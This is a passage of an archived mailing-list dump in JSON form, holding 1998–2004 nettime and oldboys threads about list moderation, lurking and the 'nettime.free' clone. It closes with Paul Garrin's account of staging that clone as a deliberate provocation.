                "content": "Dear Boys,\n\nthis is my very own, very personal *personal welcome* to all listed Old Boys. \n\nBack in September 2000, when I asked those of you, from whom I still had\ncurrent email-addresses, to provide me with an updated biography for the\nobn-webpage that is being built at the moment (Conny wrote about that in\ndetail in her welcome mail), I realized that those of you who answered, are\nactively shaping the cyberfeminism(s) all over the world. Now, I am inviting\nyou to announce your doings here on this list, so that I might (whenever my\ntime allows it) include it from here into the appropriate part of the\nupcoming webpage.\n\nActually, I am curious about the whereabouts and goings-on from those, who\ndid not send an updated biography. Are you still using electronic gear? Have\nyou changed your lifes completely? Are you busy with getting older and wiser?\n\nFor me, life has been surprising me ever since our first conference in\nKassel, and I had to retire in times from being actively involved in OBN.\nHere I am, glad to connect with parts of my past.  \n\nWhat I hope this list will do, is to create synergies between us, Old Boys,\nthose whom I know from the last conferences as well as those of you whom I\ndo not know yet, who signed up the Old Boys Network recently by being on\nthis list. I hope we can, through writing, establish a cyberfeministic space\nin the net, and provide a community for ourselves as well as for newbies.\n\nHope to hear from you soon,\n\nSusanne.\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                "to": "ldboys@lists.ccc.de",
                "url": "https://nettime.org/Lists-Archives/oldboys-0104/msg00001.html",
                "list": "oldboys",
                "author_name": "Susanne Ackers",
                "subject": "[oldboys] Personal Welcom",
                "from": "ackers@is.in-berlin.de (Susanne Ackers)",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "\"Clara Ursitti\" <ursittiramsay@lineone.net>",
                        "id": "00002",
                        "content": "----------\n>From: ackers@is.in-berlin.de (Susanne Ackers)\n>To: oldboys@lists.ccc.de\n>Subject: [oldboys] Personal Welcome\n>Date: Fri, Apr 6, 2001, 2:12 am\n>\n\n>Dear Boys,\n>\n>this is my very own, very personal *personal welcome* to all listed Old Boys. \n>\n>Back in September 2000, when I asked those of you, from whom I still had\n>current email-addresses, to provide me with an updated biography for the\n>obn-webpage that is being built at the moment (Conny wrote about that in\n>detail in her welcome mail), I realized that those of you who answered, are\n>actively shaping the cyberfeminism(s) all over the world. Now, I am inviting\n>you to announce your doings here on this list, so that I might (whenever my\n>time allows it) include it from here into the appropriate part of the\n>upcoming webpage.\n>\n>Actually, I am curious about the whereabouts and goings-on from those, who\n>did not send an updated biography. Are you still using electronic gear? Have\n>you changed your lifes completely? Are you busy with getting older and wiser?\n>\n>For me, life has been surprising me ever since our first conference in\n>Kassel, and I had to retire in times from being actively involved in OBN.\n>Here I am, glad to connect with parts of my past.  \n>\n>What I hope this list will do, is to create synergies between us, Old Boys,\n>those whom I know from the last conferences as well as those of you whom I\n>do not know yet, who signed up the Old Boys Network recently by being on\n>this list. I hope we can, through writing, establish a cyberfeministic space\n>in the net, and provide a community for ourselves as well as for newbies.\n>\n>Hope to hear from you soon,\n>\n>Susanne.\n>\n>\n>---------------------------------------------------------------------\n>To unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\n>For additional commands, e-mail: oldboys-help@lists.ccc.de\n>\n>\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                        "date": "Fri, 06 Apr 2001 09:15:26 +0100",
                        "to": "ldboys@lists.ccc.de",
                        "message-id": "200104060750.f367otH21094@scooby.lineone.net",
                        "url": "https://nettime.org/Lists-Archives/oldboys-0104/msg00002.html",
                        "list": "oldboys",
                        "author_name": "Clara Ursitti",
                        "subject": "Re: [oldboys] Personal Welcom"
                    },
                    {
                        "from": "\"Clara Ursitti\" <ursittiramsay@lineone.net>",
                        "content": "Dear Susanne,\n\nI've just been added to the OBN list.  Here is my CV as requested and brief\nbio as requested.\n\n>Clara Ursitti is literally led by the nose as her work is predominantly\n>scent based.   She is a Canadian/Italian, but has lived in Scotland since\n>1993.  She has exhibited internationally including shows at the Institute\n>for Contemporary Art  London, Centre for Contemporary Art, Glasgow, the\n>Living Art Museum Iceland, Centre for Contemporary Photography Melbourne and\n>Turku Museum Finland.  She was recently awarded a Wellcome Sci-Art Grant and\n>has been invited to participate in the Goteborg International Biennale.\n\n\nCV Joel Berger\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n",
                        "id": "00003",
                        "date": "Fri, 06 Apr 2001 10:47:06 +0100",
                        "to": "ldboys@lists.ccc.de",
                        "message-id": "200104060922.f369McH20162@scooby.lineone.net",
                        "url": "https://nettime.org/Lists-Archives/oldboys-0104/msg00003.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Clara Ursitti",
                        "subject": "Re: [oldboys] Personal Welcom"
                    }
                ],
                "message-id": "200104060112.f361CgF09418@einhorn.in&#45;berlin.",
                "date": "Fri, 6 Apr 2001 03:12:43 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00055",
                "content": "\nWell... Alan, nettime being closed off because of lacking nn postings. Many\nwill find a relief that such postings and related debates no longer happen, but\nthat's perhaps a personal matter.\n\nWhat might be true is the shift towards political economy, away from arts and\nculture.\n\nThe political economy (of new media) thread has been part of nettime from day\none, at least in my understanding. And I am not sure that one can find these\ndebate anywhere.\n\nIt could be the case that the international nettime list lack a common spirit\nand direction. Is that what you mean?\n\nThe question could be: what moves people these days? I think that's a more\ninteresting--and urgent--question than the old issue of 'censoring' nn or mez.\n\nYours,\n\nGeert\n\n     From: Alan Sondheim <sondheim {AT} panix.com>\n     To: soft_skinned_space <empyre {AT} lists.cofa.unsw.edu.au>\n     Subject: [-empyre-] what is going on, on nettime? (fwd)\n     Date: Sat, 14 Aug 2004 22:20:22 -0400\n\n     nettime-l seems increasingly closed off; numerous voices aren't\n     heard any more, for example nn, mez, Talan - I wrote them asking\n     why the list is turning from cultural politics to more or less\n     straight political economy, which can be found anywhere - the\n     post was censored. Florian Cramer just stopped the Unstable\n     Digest - there's no more codework there at all - he left his\n     co-editors more or less in the lurch, not answering email, then\n     disappearing, now back on nettime with politics. So that venue's\n     gone and apparently at this point one can't even question the\n     list direction onlist.\n\n <...>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "Nettime-l <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0408/msg00055.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> what is going on, on nettime?",
                "from": "geert <geert {AT} Desk.nl>",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "Alan Sondheim <sondheim {AT} panix.com>",
                        "id": "00059",
                        "content": "\n\nIt's not only what moves people these days, but how people are moved, and,\nto be honest, how one wants to move them. It's a question on the one hand,\nof course, of political/political economy, especially for some of us,\nbandwidth/distribution economy - but it's also a question of language and\nlanguaging itself, which is where, uncomfortably and belligerantly, nn\ncomes into play, as well as codework.\n\nAs I wrote you - I'd like to see the Unstable Digest started up again, by\nFlorian if he wants, or if not, I can work with other people on it - the\nbalance was wonderful.\n\nThere's a related issue, and that is, that what moves people is always\nopen to exploration, to wonder - for me, that's what holds my interest in\ncodework and its ilk, nn and jodi even now, and many others working across\nnet media.\n\n- Alan\n\n\nrecent http://www.asondheim.org/ \nhttp://www.asondheim.org/portal/.nikuko\nWVU 2004 projects http://www.as.wvu.edu/clcold/sondheim/files/ \nTrace projects http://trace.ntu.ac.uk/writers/sondheim/index.htm \npartial mirror at http://www.anu.edu.au/english/internet_txt\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "date": "Tue, 17 Aug 2004 22:53:39 -0400 (EDT)",
                        "to": "Nettime-l <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200408180702.i7I72Fa27165 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0408/msg00059.html",
                        "list": "nettime_l",
                        "author_name": "Alan Sondheim",
                        "subject": "Re: <nettime> what is going on, on nettime?"
                    }
                ],
                "message-id": "200408180150.i7I1oR323469 {AT} bbs.thing.net",
                "date": "Tue, 17 Aug 2004 11:14:50 +0000",
                "content-type": "text/plai"
            },
            {
                "id": "00090",
                "content": "\nFrom: Josephine Berry <josie {AT} metamute.com>\nSubject: On Lurking\n\nSince we're currently engaged in list metaphysics....\n\nI should start by declaring myself to be a virtually full-time,\nunrepentant and chronic LURKER. \n\nAnd let's face it, where would you all be without us? This legion of\nquivering intellectual rabbits whose awe of the post-it intelligentsia is\nso great that we'd almost rather cut off our right hands than hit that\nsend button. \n\nNettime without LURKERS would be like Hollywood without the opiated masses\nor football without larger louts - no fun and bad business. \n\nWhat is wrong with bystanders? Why the shamefull denigration of the word\nLURKER? Is it supposed to make us feel like naughty school chilren or\ncriminals:\"Stop lurking around out there, and put your hands where we can\nsee them!\". \n\nWhere would all you performers be without your audience anyway? Who would\nbother to pay you those royalties if us drones didn't queue up dutifully\nto consume your wares? \n\nNo, but SERIOUSLY: most of us know how great the fear threshold is to\nposting, but that doesn't mean that LURKERS are a bunch of labotomised\nvictims sucking pre-chewed life through a straw. And - whilst I'm up here\nsuffering on this soap-box - I'd say that LURKERS shouldn't be admonished\nbut encouraged. Why? Because they help form the community within which\nthis all happens and because they give an n-dimensionality to events which\nmeans that posteurs can't be sure of their audience and what they're\nthinking. Uncertainty is useful, it makes us sharpen our wits and back-up\nour arguments. It means we never know which conversations are being had\nwhere beyond all of Nettime's eight circles. It means that what can't be\nmeasured can't be instrumentalised. \n\n[Gospel chorus reaches its stirring climax and then dies away]\n\nYours without shame,\n\nLurkers Anonymous\n\n\n       \\- - - 1- - - /\n     /  \\     1     /  \\\n   /     \\- - 1 - -/    \\\n  1     //\\\\  1  //\\\\\n 1     ///\\\\\\ 1 ///\\\\\\ u t e : 2nd floor, 135-139 Curtain Rd, London EC2A 3BX.\n - - -* - -\\\\\\1///- - * -  - - - - - T: +44 171 613 4743/ F: +44 171 613 4052\n 1     \\    / 1 \\    /    - - - - E: josie {AT} metamute.com/ W: www.metamute.com\n  1     \\  /  1   \\ /   /\n    \\    /- - 1 - -\\   /\n      \\ /     1     \\ /\n       /- - - 1\t- - -\\\n\n------\n\nDate: Tue, 13 Oct 1998 21:21:57 +0300\nFrom: John Hopkins <hopkins {AT} iex.net>\nSubject: Reposting\n\nI would kindly suggest that everything that Ted-the-Moderator\nrejects/filters be reposted -- as a nettime.indigestible -- to nettime.free\n-- ascii art of the highest calibre...\n\nJohn\n\n------\n\nDate: Tue, 13 Oct 1998 19:36:45 +0100\nFrom: P Nathan <pacoid {AT} fringeware.com>\n\nany effort to couch the \"nettime.free\" spectacle in terms of\n\"electronic disturbance\", \"millenial hysteria\", etc., within\nan international medium such as Spiegel-Online, would pose a\nan additional modus for marginalizing those people who do real \nwork in these areas.\n\ni find that intent appalling.\n\nthe \"nettime.free\" tagline of \"Speak freely or Unsubscribe!\", \nwhich counterposes two contradictory antecedents (since one \ncan neither speak via their list nor unsubscribe from it) is \nthe entire point to their performance.  why aggrandize it any\nfurther when there are much more salient stories in our midst?\n\npxn\nFringeWare\n\n------\n\nFrom: \"A. Cinque Hicks\" <cinque {AT} kdi.com>\nSubject: still more on moderation\nContent-Type: text/plain; charset=us-ascii\nContent-Transfer-Encoding: 7bit\n\nNow I see that accusations of forgery, fraud, and hoax are being thrown\naround freely with regard to nettime.free. Real list? Net.art? The\ndifference is irrelevant. What is relevant is what the \"schism\" (if that's\nnot too dramatic a word) says about this particular sphere of human\nrelations. \n\nI share Armin Mendosch's sense that what has become a partisan bash-fest\nis useless at best, and destructive at worst. When I signed on (very\nrecently) I quickly understood that this was mainly a forum for cerebral\ndiscussion on relatively academic topics. Fine. I have appreciated much of\nwhat's been written here and find the forum very useful not in spite of,\nbut *because of* its formality. Again, fine. Apparently that wasn't fine\nwith some people. They were free to leave and elected to do so. Again,\nfine. This doesn't have to be taken as a threat (questions of nettiquette,\nbracketed for a moment here). What we have had here has been in my\nexperience a sort of \"night at the opera,\" a highly structured environment\nthat was never meant for random shouts and murmers. Some people have\ndecided that they would rather be at home with shoes off, listening to the\nradio. So what? That's okay, too. I for one welcomed the idea of having\ntwo forums to serve two different purposes, and had planned on staying\nsubscribed to both. (Again, setting aside for a minute the questionable\netiquette through which this came about.) And as I understood it, at least\none nettime moderator was all for the idea of having other lists if people\nfelt the need for them. Yes, yes, I see that nettime.free positioned\n*itself* in a combatitive posture. I simply ignored that, and would urge\nother people to do the same. \n\nIf I have been misguided in these observations, I'm sure someone will let\nme know. \n\npeace,\nch\n\n-------\n\nDate: Wed, 14 Oct 1998 02:13:10 +1000\nFrom: colin hood <pants {AT} flex.com.au>\n\nwithin particular artistic communities - german romantics had a real knack\nfor it - the 'agonistics', polemics were the catalysts for advancement of\nthought and philosophical fine-tuning - a polemical community' ....it had\na feel good ring to it (on better days of epistolary/salon aggravation).\nToday - the refined culture of aversarial politics has - largely imploded\n- leaving a lot of (many net players) unable to reflect, 'repent' -\nreshape attitudes on the fly ... im not surpised that the latest\nmicropolitical 'sideshow-bloodfest' has produced very little discussion on\nthe complex politics of moderation. If moderation performs more of an\neditorial function - in an incremental, asynchronous manner, then one must\nup the ante on rethinking the time and place for blue-pencilling, not\nreturning 'phone calls', playing daddy 'in extremis. \n\ncolin hood\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00090.html",
                "list": "nettime_l",
                "author_name": "nettime's_digestive_system",
                "subject": "<nettime> Re: on moderation and spams (several messages)",
                "from": "nettime {AT} Desk.nl (nettime's_digestive_system)",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "\"nettime's_digestive_system\" <nettime {AT} Desk.nl>",
                        "id": "00094",
                        "content": "\nTo: post {AT} nettime.free.xs2.net\nFrom: Matthew Fuller <matt {AT} axia.demon.co.uk>\nSubject: a proposal\n\nWhat concerns me here is to open-up a situation where the 'community'\nwhich nettime 'free' ostensibly intends to make its intervention on behalf\nof, isn't actually done a disservice by the instigation of this list. \nThere is an opportunity now to meet the obvious demand (of whatever size)\nfor a zero or low filtration channel that works in some kind of\nrelationship with nettime-l. \n\n        One political banner that has been raised over the start of this\nmailing list is Freedom of Speech.  Freedom of Speech is as clearly a con\nin this case as elsewhere. It is a rhetorical manoeuvre that worked well\nin the context of the Eighteenth Century in defining a potential political\nsubject against monarchy and colonialism.  It is not nuanced enough to\ndeal with this context.  As a historical refrain Freedom of Speech is a\nmetaphor for interfacing a political/ technical reality that it largely\nmisses. That is why the demands for a completely unfiltered mailing list\nring entirely true when taken solely on their own ideological terms but\nfounder into absolutism or bad design when attempts to realise them are\nmade. \n\n        People constructing mailing lists should look closely at what they\nare doing: creating systems of enunciation. This is what we need to make\nhappen with regard to this matter - a close attention to the implicit\npolitics of the technology. \n\n        We need to look at what collaborative filtering, networks, etc.\nactually mean and can be made to do.  In the context of a list or lists\nfocused on critical thinking about networks, coupled with the technical\nabilities of people to go beyond rhetoric into actual construction, one\nwould hope that this might be done with the careful attention it deserves.\nThis is not a call for a technocratic solution.  The tools to deal with\nthis situation already exist and can be developed in the texts, people and\nmachines on the list. \n\nAt the moment it seems unclear whether the intention behind nettime.free\nis to maintain any relationship with nettime-l, or any of the other\nvariations on the list.  If not, it might well be useful to make it clear. \nObviously a first step towards this would be to immediately stop the\ncompulsory subscription of nettime-l subscribers to the new list. \n\nIf the intention for the launch of this new list is in fact to provide a\nchannel for all the material which is filtered from nettime-l, and not for\ninstance to start a new list with other foci of attention, or to merely\nduplicate what nettime-l already does, then arrangements need to be made\nto make sure that happens in a thorough and open manner. \n\nAs one of the people involved in moderation of the nettime-l list, but not\nhere or anywhere else speaking on behalf of the group, I am quite happy to\nstate that the filtering is minimal and careful.  However, since the\ndemands have been made to remove filtering from the list and someone is\nclearly prepared to provide server-space for this to be done there is an\nobvious opportunity for this demand to be met. \n\nPerhaps what is needed first is for people wanting a strictly unfiltered\nmailing list for critical writing on the net and related areas to decide\nwhat they actually want, and what relationship, if any, it should have to\nthe current nettime.  If no relationship is wanted, then it might well be\nuseful to change the name of this list from nettime.free and to make this\nclear. \n\n        There is of course the possibility that the initiation of this\nlist is purely designed as a temporary intervention without any commitment\nto continued work on the list.  This would be a waste of everyone's time. \n\n\n\nPROPOSAL\n\nWorking on the assumption that there is not just a desire but an actual\ncommitment to continue a connection between nettime-l and nettime.free,\nwhat I suggest is that it is possible to find a way for nettime.free to\nbecome the unfiltered channel to nettime-l that has been discussed but\nnever implemented, rather than split off into a separate list. If it is\ndone well, this is a good opportunity to distribute the work and\ninfrastructure involved and to satisfy the demand for a list with none or\nlittle filtering as well as for a filtered list. \n\nIf this is to be the case I guess the key question is how do we ensure that:\n\n- (whether destined for filtering or not) posts don't slip through the cracks\n- multiple postings are unnecessary\n- the 'free' list receives all the material that is filtered from 'nettime-l'\n\nSubsequently, it might of course be necessary to look at filtering levels\nfor the unfiltered list.  Bounce messages, requests for unsubscription,\nand spam from entirely irrelevant address harvesting senders, etc. etc. \n\nThis could be a relatively simple process.\n\n1.  Texts destined for both lists would be in the first instance mailed to\nthe nettime-l address.\n2.  Posts that are unfiltered from the nettime-l list would have their\nheaders stripped and text formatted as usual and sent to this list.\n3.  Posts that would normally be filtered from nettime-l would, instead of\nbeing deleted, be forwarded to the nettime.free address.  The headers of\nthese posts could subsequently be stripped and the text formatted at\nwhatever level is deemed useful by the moderators of the nettime.free list.\nIt might in time be seen to be necessary to introduce some level of\nfiltering in this context.\n\nThis model still allows for people to post solely to nettime.free, allowing\nthe possibility of 'self-filtering' from nettime-l.  So long as there was\nclarity in the footer / FAQ etc. of both lists  about the function of the\ntwo channels ensuring that this is not done by mistake this should not pose\nany problem.\n\n        An alternative to this is to revert back to one mailing list and to\nopen a distinct unfiltered channel if it is clear that there is an actual\ndemand for, and commitment to, maintaining this channel.\n\nIt is useful that dissatisfaction with the nettime list has been matched\nwith the technical capacity to act.  Now what is needed is for this act not\nmerely to evaporate into a gesture, but to match itself again with thought,\ncommunication - and more construction.\n\nFirst though, allow people to unsubscribe.\n\nMatthew Fuller\n\nFrom: Peter van der Pouw Kraan <peter {AT} xs4all.nl>\nSubject: Re: Welcome to Nettime.Free!\n\n>Welcome to NETTIME.FREE, the renewed, UNMODERATED AND OPEN\n>Revival of the Nettime Community!\n\nI follow this list a while out of curiosity, but also feel offended, because\nI never subscribed to it. I would have preferred to get one announcement\nonly and then to have the free choice to subscribe or not.\n\n>Once again, there is an OPEN LIST for Nettime, free of\n>any unwanted censorship, \n\nSounds somewhat surprising to me. You mean in this list there will only be\nthe wanted censorship? Then again you have the problem what is tolerated and\nwho will decide. There is no reason to expect that everybody will agree\nabout everything. Different opinions about what is acceptable are inevitable\non a mailinglist with many members, it's inherent to the mainlinglist as an\nopen social system. Also without a moderator. It just depends on\ncoincidental events when the discussion about this starts. And imo it's very\neasy to play jerk and provoke this discussion with some very unwanted mail. \n\n> hidden agendas, personal tastes,\n\nIt's rather common that members of communities have their own agendas. And\nmessages about net.art, media, etc without personal tastes just seem\nimpossible to me.\n\n>anal-retentive book editors/librarians, respiratory diseases,\n>and other information-hostile elements that have corrupted\n>the intial mission of the nettime list as established by the\n>founders of Nettime in Venice, June, 1995.\n\nAre some personal conflicts fighted here over the back of nettime members\nwho, like me, have no clue what this is about?\n\n>No more digestion/indigestion...just free flow of information!\n\nPlease no. I find free flow of information as presented here a naive\nconcept. As if you just would open a tap on Internet and the free flow of\ninformation streams out. Yes in the sink. The problem is that I only want\nrelevant information. And I haven't got all the time of the world to sort it\nout. \n\nMore theoretical: a community exists because of a meaningfull\ncommunication among the members and with an environment. This takes place\nin a limited amount of time. What selection takes place, what is filtered\nout, constitutes the character of a community. And there is a fysical\nlimit on the amount of communication: time. Within this limit the relevant\ninformation has to be sent and received. Selection is a vital condition\nfor a community not to die in information overload. No selection, no\ncommunity. \n\nThe point is not whether selection takes place or not, but how. The ideal\nsituation is that selection takes place at the source: contributors\nvoluntarily restrict themselves to the subject of mailinglists, newsgroups\nor debates i.r.l., are clever enough to understand what the subject is,\nand there is an agreement about what belongs to the subject. But ideal\nsituations tend to be seldom. An open mailinglist is an extremely\nvulnarable proces of communication. So how to keep it working, how to\nselect? \n\nSometimes a have the feeling that the naivity of the sixties got a revival\namong Internet-enthousiasts and that the founding of nettime.free is one of\nthe symptoms.\n\nPeter van der Pouw Kraan (peter {AT} xs4all.nl)\n\n-------\n\nDate: Tue, 13 Oct 1998 16:15:52 -0800\nFrom: \"Michael H. Goldhaber\" <mgoldh {AT} well.com>\nSubject: Moderation in all things? Re: <nettime> on moderation and spams\n\nI too would like to express my support and thanks to the Nettime\nmoderators, or filterers. Obviously, to be able to use a delete button\nwisely, one has to have some idea of what one is deleting, and that takes\nscarce attention. By taking on that task, nettime filterers put us in\ntheir debt, even if, inevitably, were any other one of us the filterer,\nthat person would surely choose a little differently. Any active listserv\nand its overall output can be of value only if it is in the hands of only\na few guiding intelligences at any one time, and it is to those minds that\nat least some of the attention to the list must go. \n\nThere is a deep point here, and not always such a pleasing one: that pure\ndemocracy can never operate, except at an extremely small scale. No matter\nhow much everyone on the list might support notions of equality and\ndemocracy, thoughts which some think quite important will get shut out.\nTrust must be placed in some few, no matter how they ended up as\nmoderators; of course, the trust is highly conditional; if they abuse it,\nwe stop paying attention. Yet while they have it from anyone, they have\nreal and unequal power, as do those whose work they find worthy of\nattention. \n\nI also want to agree with Josephine Berry. We lurkers (as I usually have\nbeen of late) help make the list workable, by refraining from seeking\nattention when we feel we have little to add. \n\nFinally, all that said, no matter how unreasonable the position of the\n\"nettime.free\" founders might be, its (apparently) brief insurrection did\ngenerate a burst of intellectual excitement, and it ultimately probably\nincreases the value and solidarity of nettime. Utopian extremism has its\nvalue too. \n\nBest,\nMichael H. Goldhaber\n\nmgoldh {AT} well.com\nhttp://www.well.com/user/mgoldh/\n\n-----\n\nDate: Wed, 14 Oct 1998 00:49:23 +0100\nFrom: \"Erich Moechel\" <erich-moechel {AT} quintessenz.at>\nSubject: unsubscribe both lists\n\ndear owners.nettime socalled free or not\n\nif any of ur mailers accepts this message (standard mime encoded always a\nproblem) would u please unsubscribe me. I am tired of one artsy fartsy\nparty accusing the other of being nomenKlatura. there has been clos 2 no\ncollective text filtering the last year but extensive manifestoing &\nbehaviour of certain protagonists a lesser pr/agency would be ashamed of.\nThis is not the list Pit Schulz & Frank Hartmann pointed me 2 in 96. I\nnever contributed much -confess: except flaming mr barlow once that was\ntruly easy ;) cu somewhere else erich\n\n-.-.- --.-  -.-.- --.-  -.-.- --.-\n     q/depesche taeglich ueber\ninternationale hacks--.-zensur im netz\ncrypto--.-IT mergers--.-monopole\n& die universalitaet digitaler dummheit\nsubscribe http://www.quintessenz.at\n-.-.- --.-  -.-.- --.-  -.-.- --.-\nCertified PGP key http://keyserver.ad.or.at \n-.-.- --.-  -.-.- --.-  -.-.- --.-\nerich-moechel.com/munications\n++43 2266 687201 fon  ++43 2266 687204 fax\n-.-.- --.-  -.-.- --.-  -.-.- --.-\n\n------\n\nDate: Tue, 13 Oct 1998 17:02:34 -0400\nFrom: Jennifer Hicks <jghicks {AT} wordswork.com>\nTo: nettime's_digestive_system <nettime {AT} Desk.nl>\nSubject: Re: on lurking\n\nAt 09:58 PM 10/13/98 +0100, Josephine Berry eloquently wrote:\n\n>No, but SERIOUSLY: most of us know how great the fear threshold is to\n>posting, but that doesn't mean that LURKERS are a bunch of labotomised\n>victims sucking pre-chewed life through a straw. \n\nBrava! Brava!  \n\nJennifer Hicks...\nwith full mental capacities and living life in its undigested form, who\nchoses to unlurk when intelligence in its many forms are recognized. \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "date": "Wed, 14 Oct 1998 09:50:26 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199810140915.KAA26096 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00094.html",
                        "list": "nettime_l",
                        "author_name": "nettime's_digestive_system",
                        "subject": "<nettime> Re: on moderation and spams (several messages)"
                    }
                ],
                "message-id": "199810132136.WAA21288 {AT} basis.Desk.nl",
                "date": "Tue, 13 Oct 1998 21:58:48 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "MediaFilter <mf {AT} mediafilter.org>",
                "id": "00097",
                "content": "\nRe-Routing Nettime:\nAn Exercise in Electronic Disturbance\n\nSurprise \"Columbus Day Outing\"\n\nBy Paul Garrin\n\nPersonal note:\n\n            My sincerest apologies to anyone who was offended\n            or inconvenienced by this exercise.  It was not\n            intended in any way to be malicious or aimed at any\n            specific persons or groups in any way other than\n            in comedic parody.\n\n\nBlasphemy in the face of Orthodoxy\n\nAs in when Sinead O'Connor ripped up a photo of the Pope on live\ntelevision.  Bad PR for Sinead because she was unclear, or misunderstood.\n\nI won't allow that to happen here, although it may because some people\nwill pre-judge and tune this out.  That's their choice.  Perhaps some of\nthem already understand what this is about, although not what it appears\nto be on the surface.\n\nThings are not always as they seem.  It's all a matter of perception, and\nhow that perception can be \"managed\".\n\nNettime was \"re-routed\" temporarily.  It was a terribly rude intrusion\nthat disregarded every tenent of \"nettiquette\". It could have been done\nsilently, by simply opening up another channel, without the rude intrusion\ninto the order--or what has become the \"Orthodoxy of Nettime\", but that\nwould have served only to turn a blind eye and a mute tongue some of the\nevents unfolding outside this list that have an adverse impact on all of\nyour future access, privacy, security and autonomy online.\n\nIt was an act of \"Disturbance\" using counterintelligence tactics to sow\ndiscord amongst a group and display its poles of affiliations and\nsympathies.  It's to show how easy it is to do this, but no indication of\nhow subtle something of this nature can be, so the rudeness was intended.\n\nIt was a loud intrusion in many people's minds, not only because of what\nwas sent over the open channel, but that the channel was opened in the\nfirst place without their permission.\n\nThe flame-bait was a convenient element to make it as rude as possible\nalthough it wasn't directed at any one individual alone, but at the\nattitudes being parodied by the Nettime.Free message.\n\nAny interpretation of that information is totally up to the reader.\nThe message was _meant_ to provoke.\n\nAnd what it got was the expected chain reaction of pettiness and insults\nin return.  A very funny assortment of stuff, I must say. Another attempt\nto deconstruct this event may contain some of those responses, perhaps\neven as rendered by antiorp ;-) so he can print it out and hang it all\nover some wall that he's trying to climb to get noticed in the \"artworld\".\n(I forgive the kid--he's young and everybody wants to be famous).\n\nThis call to action is a wake up call, in the spirit of Electronic\nDisturbance. A \"weekend outing\", a \"Columbus Day Raid\" The insulting tone\nof the list was the \"agent provocateur\" whose mission it was to sow\ndiscord even if it meant drawing fire. (I didn't try very hard to cover my\ntracks. In fact, I didn't.) I just switched on the server and left it\nalone, while inadvertently leaving the subciribe commands disabled...and\nthe server ran away! Sorry about that.  Hope the few extra messages in\nyour mailbox didn't ruin your day. If it did, then please, log out and go\nout and take a walk, you've been online too long.\n\nRerouting Nettime was a staged \"exercise\" as an \"operation\" using an\nemotional trigger...otherwise known as a \"Psychological Operation\" or\nPsyOps.  In this case, it was insulting implications about members of the\nNettime Moderation Team, and the users having information \"forced\" upon\nthem without their choice.\n\nSome people call it \"dirty tricks\".  That's what it was.  You have to\nexperience dirty tricks so you can begin to understand them.  One of the\npurposes of this exercise was to personalize an experience within a fairly\nlarge and somewhat diverse group and exploit the differences.\n\nThe scenario involved several elements:\n\nIdentify a target group:            Nettime\n\nIdentify discordant issues:         Moderation, Moderators, Ideologies\n\nIdentify sympathetic affiliations:  pro moderation/con moderation\n\nIdentify exploitable conditions:    subscribers complain about moderation\n\nProvoke confrontation:   Clone the list and run it on another server that\n                         is not managed by the moderators thereby removing\n                         their control over content flow although the list\n                         itself has not changed.\n\n                         Use a provocative message to polarize the group.\n\n                         This resulted in opposing elements aligning in\n                         blocks defining further affiliations and sympathies.\n\n\nUnforseen elements       subscription requests proc inadvertently disabled\nintroduce added          resulted in loss of subscriber control and\nchaos                    added to the outrage when users could not\n                         \"unsubscribe\"\n\n                         This leads to speculation and rumors about the\n                         list operator and his intentions, and insults\n                         and insinuations are spread.\n\n\n\nIntended result:  it calls into question many issues concerning current\n                  events that effect our access, privacy, and autonomy on\n                  the internet and many are turning a blind eye just when\n                  issues are being decided behind closed doors which\n                  will affect thier future access, privacy, security, and\n                  autonomy on the net and probably off the net as well.\n                  It's time to focus on strategies that will educate and\n                  empower each other to protect our future of free choice\n                  and free will, and not a time to sink into complacency\n                  and inaction.\n\n                  The beginning of discussion and action.\n\n\nFor more dirty tricks, please see:\nhttp://info.war/uncensored\nhttp://infowar.net/uncensored\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info 